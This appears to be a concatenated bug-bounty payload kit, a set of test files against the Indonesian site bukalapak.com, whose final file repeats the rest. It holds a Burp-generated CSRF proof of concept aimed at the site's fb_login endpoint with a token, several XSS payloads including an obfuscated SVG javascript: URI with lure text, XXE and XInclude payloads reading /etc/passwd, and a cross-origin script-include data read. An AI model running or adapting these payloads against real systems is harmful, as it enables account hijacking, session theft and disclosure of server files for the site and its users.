EDMPL

## test.html
<script src="https://m.bukalapak.com/about">
</script>
<script defer>
console.log(USER);
</script>

## bukalapakcsrf.html
 <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.bukalapak.com/fb_login">
      <input type="hidden" name="comeback" value="&#47;&#63;fcbz&#61;1" />
      <input type="hidden" name="secret&#95;token" value="adb4da3ed6aa119982685962ea3323c2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

## test.html
<script>alert(document.cookie);</script>

## test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, </lastBuildDate>
    <item>

## test2.html
<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:prompt(document.domain)>
  <pre class="tab"><p>!!! HOW TO PLAY THE VIDEO
  <br>
  #1 Click Search in top
  <br>
  #2 Click and Enjoy the Video
  <br>
  <b>GOOGLE</b></pre>

## test.html
<a> test <img src=x> </a>

## test.js
var createCORSRequest = function(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {
    // Most browsers.
    xhr.open(method, url, true);
  } else if (typeof XDomainRequest != "undefined") {
    // IE8 & IE9
    xhr = new XDomainRequest();
    xhr.open(method, url);
  } else {

## test.html
<script>alert(document.domain);</script>

## test.xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

## test.html
<script>alert();</script>
	<script src="https://m.bukalapak.com/about">
	</script>
	<script defer>
	console.log(USER);
	</script>
	<html>
	<!-- CSRF PoC - generated by Burp Suite Professional -->
	<body>
	<script>history.pushState('', '', '/')</script>
	<form action="https://www.bukalapak.com/fb_login">
	<input type="hidden" name="comeback" value="/?fcbz=1" />
	<input type="hidden" name="secret_token" value="adb4da3ed6aa119982685962ea3323c2" />
	<input type="submit" value="Submit request" />
	</form>
	</body>
	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE title [ <!ELEMENT title ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
	<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
	<title>The Blog</title>
	<link>http://example.com/</link>
	<description>A blog about things</description>
	<lastBuildDate>Mon, </lastBuildDate>
	<item>
	<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:prompt(document.domain)>
	<pre class="tab"><p>!!! HOW TO PLAY THE VIDEO
	<br>
	#1 Click Search in top
	<br>
	#2 Click and Enjoy the Video
	<br>
	<b>GOOGLE</b></pre>
	var createCORSRequest = function(method, url) {
	var xhr = new XMLHttpRequest();
	if ("withCredentials" in xhr) {
	// Most browsers.
	xhr.open(method, url, true);
	} else if (typeof XDomainRequest != "undefined") {
	// IE8 & IE9
	xhr = new XDomainRequest();
	xhr.open(method, url);
	} else {
	<foo xmlns:xi="http://www.w3.org/2001/XInclude">
	<xi:include parse="text" href="file:///etc/passwd"/></foo>